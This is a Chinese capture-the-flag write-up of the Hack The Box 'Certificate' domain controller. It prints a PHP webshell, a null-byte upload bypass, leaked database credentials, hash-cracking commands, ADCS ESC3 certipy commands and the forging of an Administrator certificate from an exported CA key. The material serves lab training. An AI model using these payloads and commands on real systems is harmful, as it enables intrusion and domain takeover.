HTB-Certificate:从空字节截断到黄金证书
一句话结论:这是一台 Windows Server 2019 域控。入口是一个跑在 XAMPP 里的技能认证网站,靠「zip 解压后不再做内容审查 + 空字节截断后缀」拿到 webshell;再从数据库 bcrypt、pcap 里的 Kerberos AS-REP、ADCS 的 ESC3 委派证书一路提到域管,最后导出 CA 证书自签一张 Administrator 的「黄金证书」读取被 EFS 加密的 root flag。
排版说明:为规避排版转义问题,文中 Windows 路径的反斜杠统一写成正斜杠,域用户前缀写成 CERTIFICATE/xxx,原始卷路径与空字节用文字描述;命令里的哈希与密码均为靶机演示值。
一、侦察(Nmap)
TCP 全端口扫描后对开放端口详扫,根据端口开放情况判断出目标是 AD 中的 DC。关键端口:53、80、88、135、139、389、445、464、636、3268、3269、5985、9389,以及一批高位 RPC 端口。系统识别为 Windows 10 / Server 2019 Build 17763 x64,主机名 DC01,域 certificate.htb。
与常规域靶机不同的是,这里多开了一个 80 端口。把扫描结果里的域名加进本地 hosts:
echo 'DC的IP DC01.certificate.htb certificate.htb CERTIFICATE' | sudo tee -a /etc/hosts
二、匿名枚举基本无果
SMB 匿名与 guest 都为空手:
netexec smb DC的IP -u 'guest' -p '' --shares
(signing:True) (SMBv1:False) (Null Auth:True)
certificate.htb\guest: STATUS_ACCOUNT_DISABLED
guest 用户存在但处于禁用状态。另一条匿名 session 报 Null Auth:True,意味着匿名建立 SMB Session(conn)是成功的,只不过匿名权限无法枚举共享(Error enumerating shares: STATUS_ACCESS_DENIED)。
netexec 的源码逻辑(nxc/protocols/smb.py)解释了 Null Auth 的含义:匿名能连上,但拿不到共享信息。
LDAP 匿名枚举用户失败(bind 未完成的 operationsError),rpcclient 的 enumdomusers / enumdomgroups / enumdomains 均 NT_STATUS_ACCESS_DENIED。
三、80 端口的技能认证平台
响应头暴露了技术栈:
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
X-Powered-By: PHP/8.0.30
是一个技能认证平台。基本浏览:页面源码无敏感信息,多数按钮无效果,订阅功能无效。在 contacts.php 提交联系信息会向自身发 POST,得到一个用户名 support(域渗透里一个有效用户名能干很多事)。博客页收集到一批名字,拼成用户字典:
support、Charlie Barber、Mark wiens、Ben frank、Carol Wood、
Havok Watterson、Lorra Armessa、Sara Laracrof、John Wood
这些不一定是域内有效用户。admin:admin 登录失败,且登录报错不回显用户存在性(无法靠报错判断)。注册页面可选 Teacher 或 Student,注册老师需要团队认证,因此注册学生。登录后课程页有课程介绍、讲师信息、价钱;报名课程后列出课时,SUBMIT 用于提交课程作业,提交内容仅限白名单格式:
pdf docx pptx xlsx zip
四、文件上传漏洞:两步绕过
4.1 直接上传 php:白名单卡死
上传一个 phpinfo 测试文件得到 400。尝试各种后缀绕过(php3/php4/phtml/phar/大小写写/双写 php./php. 等),Caido 的 automate 模块批量枚举,结果全是 400,后端采用后缀白名单。
把 php 内容改名为 .pdf(内容不变)仍 400,后端做了基于内容/魔术头的真实类型检测。两次 400 的报错文案差异暴露了两个独立检测:后缀白名单 + 恶意内容检测:
The request you sent contains bad or malicious content (Invalid MIME type).
The request you sent contains bad or malicious content.
上传一个合法 pdf 则提示成功并给出访问地址。但 uploads 目录、哈希目录、static 目录都 403,也无法目录穿越。
4.2 zip 解压不再复查内容
zip 在上传场景总是一个变数。把「含 PHP 代码的 pdf」压成 zip 上传,成功且能访问——后端会将 zip 解压后展示其中文件内容。直接把 php 压成 zip 则失败。摸清检测逻辑:通过白名单检查文件后缀,并对除 zip 之外的文件做内容审查;上传成功后对 zip 解压,对其中文件后缀再次白名单检查,但不再执行内容审查。
4.3 空字节截断绕后缀
目标就是绕过后缀限制,空字节截断值得尝试。构造 evil.php%00.pdf:如果后缀仅检查最后一个 . 之后(得到 pdf,白名单放行),而文件落地 Windows 时系统把 Null 字符当作字符串结束,最终写入的文件就是 evil.php。
做法:用占位符复制成 evil.php..pdf 打包上传,在 Caido 开启拦截拿到报文发到 Replay;Caido 对字节数据的修改不如 Burp 完善,非官方 Hex 插件在大量不可见字符时不可用,一个办法是打开「显示不可见字符」,复制已有的 00 字节去替换占位点,共需替换两处。发送后访问响应里的链接,代码执行成功。
4.4 一句话木马与 system 黑名单
先试 system 版一句话,解压后仍 400。前者(phpinfo)成功后者失败,说明解压后对内容还是有检测,只是没那么严格,属于黑名单。换一种写法后成功:
<?php echo shell_exec($_REQUEST['cmd']); ?>
验证命令执行:
curl http://certificate.htb/static/uploads/哈希目录/evil.php -G -d 'cmd=whoami'
certificate\xamppuser
事后根据 PHP 源码发现,后端检测其实只有后缀白名单 + 读取文件开头魔术字节判断真实类型,并没有提示里说的 malicious content 检测;system 的失败应该是 php.ini 里做了全局黑名单(disable_functions = system,...)。
五、拿下 xamppuser shell 与数据库凭据
本地 rlwrap nc 监听 4444,用 revshell 生成一段 PowerShell 反弹 shell 代码(通过 webshell 的 cmd 参数触发),成功获得 shell。根据目录名判断 Web 跑在集成环境 XAMPP 中:
pwd
C:/xampp/htdocs/certificate.htb
Web 根目录的 db.php 泄露了数据库凭据:
$dsn = mysql:host=localhost;dbname=Certificate_WEBAPP_DB;charset=utf8mb4
$db_user = 'certificate_webapp_user'
$db_passwd = 'cert!f!c@teDBPWD'
XAMPP 自带 mysql.exe 可直接登录。只有 certificate_webapp_db 有数据表,users 表里是用户名 + bcrypt 哈希(hashcat mode 3200):
mysql.exe -u 'certificate_webapp_user' -p'cert!f!c@teDBPWD' -e 'use certificate_webapp_db; select username,password,role from users'
建议一条一条跑(字典 rockyou.txt),短时间破不了的一般是无效信息。其中 sara.b 的哈希很快破解:
hashcat -m 3200 哈希 rockyou.txt
sara.b : Blink182
六、sara.b 到 pcap 里的 Kerberos AS-REP
sara.b 具备 WinRM 权限,用 evil-winrm 拿到该用户 shell。在 Documents 目录发现一个奇怪目录 WS-01,里面放了一个流量包 plus 一个描述文件:无论是否输入正确凭据,workstation 01 均无法打开 DC01 上的 Reports 共享。
WireShark 过滤 smb2,发起过很多条 SMB 会话建立,大多在 Session Setup(认证)阶段就失败,但有一条成功:协商时客户端把 Kerberos 放在第一条(默认且推荐),从 Session Setup Request 能看到 AP-REQ,说明客户端就是通过 Kerberos 认证方式成功建立起了 SMB Session。
过滤 Kerberos 协议,其中含有 TGT 的申请过程,可从 AS-REP 中提取 enc-part 中的 cipher,构造成 hashcat 能破的格式(用 --example-hashes / --machine 找格式)。etype 18 的 cipher 分两部分:加密数据 edata,以及用于完整性验证的 checksum(占 12 字节、位于 cipher 末尾)。格式:
$krb5asrep$18$username$REALM$checksum$edata
据此构造哈希,hashcat -m 32200 跑出结果:
Lion.SK : !QAZ2wsx
破解原理:用字典密码根根据 etype 经 string-to-key 生成长期密钥,用它解密 edata,对结果算完整性校验哈希与真实 checksum 对比,一致则密码正确。
七、Lion.SK 与 ADCS 发现
Lion.SK 同样可进 WinRM,evil-winrm 拿到 shell,在 Desktop 找到 User Flag。域控上有杀软,无法上传恶意程序(如 SharpHound,上传即被清除),但仍可用远程采集器:
bloodhound-ce-python -c All -ns DC的IP -u 'Lion.SK' -p '!QAZ2wsx' --zip -d certificate.htb
导入 BloodHound 锁定 Lion.SK,发现他属于 DOMAIN CRA MANAGERS 组(证书颁发管理员),该组成员能为域内用户颁发/吊销证书。与证书相关,先跑一遍 certipy find 获取 ADCS 详情(含漏洞扫描):
certipy find -u 'Lion.SK' -p '!QAZ2wsx' -dc-ip DC的IP -target dc01.certificate.htb -enabled -dc-only
结果发现 Delegated-CRA 模板存在 ESC3 漏洞(Template has Certificate Request Agent EKU set)。
八、ESC3:代申请证书提权
ADCS 中存在 Enrollment Agent 机制,即受信任账户可以代替别的账户进行证书申请。这一过程涉及两张证书:
- Enrollment Agent Certificate:关键扩展字段 Certificate Request Agent,拥有该证书的用户可以实现代申请机制;
- On-Behalf-Of Certificate:最后代替他人申请到的证书。
若两个模板配置错误(ESC3),攻击者就能完成代申请证书从而实现提权。certipy 已找出两张存在缺陷的模板:
- Delegated-CRA,用于生成 Enrollment Agent Certificate;
- SignedUser,作为 ESC3 Target Template,用于生成 On-Behalf-Of Certificate。
先生成 Enrollment Agent 证书:
certipy req -u 'Lion.SK@certificate.htb' -p '!QAZ2wsx' -dc-ip DC的IP -target dc01.certificate.htb -ca Certificate-LTD-CA -template Delegated-CRA
再尝试代 Administrator 申请 On-Behalf-Of 证书,报错 CERTSRV_E_SUBJECT_EMAIL_REQUIRED:
certipy req ... -template 'SignedUser' -on-behalf-of 'CERTIFICATE/Administrator' -pfx lion.sk.pfx
原因在模板描述里:SignedUser 带 SubjectAltRequireEmail / SubjectRequireEmail,强制要求目标用户拥有 Email,而 Administrator 没有。因此需将目标转移到有邮箱的用户。配合 BloodHound 看 REMOTE MANAGEMENT USERS 组成员(允许访问 WinRM),除 Lion.SK 外还有一个 Ryan.K。
代 ryan.k 申请成功,再用这张证书拿回该用户的 NTLM Hash:
certipy req ... -template 'SignedUser' -on-behalf-of 'CERTIFICATE/ryan.k' -pfx lion.sk.pfx
certipy auth -pfx ryan.k.pfx -dc-ip DC的IP
Got hash for 'ryan.k@certificate.htb': <LM>:b1bc3d70e70f4f36b1509a65ae1a2ae6
原理:Kerberos 预认证若采用 PKINIT,客户端拿着官方 CA 签发的证书即可完成 TGT 申请,随后拿 TGT 完成 U2U + S4U2Self(特殊的 TGS-REQ),就能在 TGS-REP 中 ST 的 PAC 里找到用户的 NTLM Hash。
九、ryan.k 的 SeManageVolumePrivilege
用 ryan.k 的哈希 evil-winrm 拿 shell。查特权时发现该用户有一个 SeManageVolumePrivilege(用于磁盘/卷维护,如碎片整理、增加/删除卷)。微软的安全注意事项里提到:拥有该权限的用户可以探索磁盘并把文件扩展进包含其他数据的内存,当扩展后的文件被打开时,可能读取和修改 acquired 数据。
whoami /priv /fo list
SeManageVolumePrivilege : Enabled
安全研究员还发现另一种用法:向原始卷设备句柄发送控制码 FSCTL_SD_GLOBAL_CHANGE,可全局替换该卷上安全描述符中的 SID(比如把 Administrators 的 S-1-5-32-544 替换成 Users 的 S-1-5-32-545),因此该权限可以直接获得 C 盘的全局访问权限。
网上有现成工具(SeManageVolumeExploit.exe),上传到 DC 运行后,可直接访问 Administrator 的 Desktop,看到 root.txt。
十、EFS 加密与黄金证书
虽然能列目录,但无法读取 root.txt——该文件经过 EFS 加密(很多靶机为防止非预期解会在 root.txt 上加密),用 cipher /c 可验证:
cipher /c root.txt
E root.txt Compatibility Level: Windows Vista/Server 2008 以上
除此之外的文件没有这个限制,因此有很多解法:卷影复制把 ntds.dit 与 SYSTEM 复制到本地用 secretsdump.py 取敏感数据;或者黄金票据。获取黄金票据的方式较为直观且推荐。
首先导出 CA 证书(用 ryan.k 已有的权限在本地证书库中拿到 CA 私钥):
certutil -exportPFX 344CB419D59054904031B340F5A43923 ./ca.pfx
Issuer: CN=Certificate-LTD-CA, DC=certificate, DC=htb
CertUtil: -exportPFX command completed successfully.
下载 ca.pfx 到本地,此时就可以签发任意用户的证书(黄金证书):
certipy forge -ca-pfx ca.pfx -subject 'CN=ADMINISTRATOR,CN=USERS,DC=CERTIFICATE,DC=HTB' -upn 'administrator@certificate.htb'
certipy auth -pfx administrator_forged.pfx -dc-ip DC的IP
Got hash for 'administrator@certificate.htb': <LM>:d804304519bf0143c14cbf1c024408c6
拿到域管理员哈希后 evil-winrm 登录,在 Desktop 找到 Root Flag,完成。
十一、链条回顾与可复用点
| 阶段 | 关键手法 |
|---|---|
| Web 入口 | zip 解压后只验后缀不验内容 + 空字节截断(php 后接 %00.pdf)绕过上传 |
| 落地 shell | php.ini disable_functions 黑名单 system,换 shell_exec 一句话 → PowerShell 反弹 |
| 第一个凭据 | db.php 泄露 MySQL 密码,users 表 bcrypt(mode 3200)用 rockyou 破出 sara.b |
| 横向 | WS-01 pcap 中的 Kerberos AS-REP enc-part → mode 32200 破出 Lion.SK |
| 提权 | Lion.SK 属 DOMAIN CRA MANAGERS → ADCS ESC3 代申请(Enrollment Agent + On-Behalf-Of)拿 ryan.k 哈希 |
| 突破限制 | Administrator 无邮箱不适合 ESC3 目标,选 REMOTE MANAGEMENT USERS 中有邮箱的 ryan.k |
| 拿 flag | ryan.k 的 SeManageVolumePrivilege → 导出 CA 证书 certipy forge 黄金证书 → 域管理员 → root.txt |
儿个关键知识点:空字节截断依赖 Windows 把 Null 当作字符串终止;ESC3 本质是 Enrollment Agent EKU 配错导致可代他人申请高权限证书;PKINIT 能用证书换 TGT 再从 PAC 中取 NTLM Hash;SeManageVolumePrivilege + FSCTL_SD_GLOBAL_CHANGE 可全局改卷上 SID;root flag 的 EFS 加密解释了为什么需要导 CA 私钥而非直接读文件。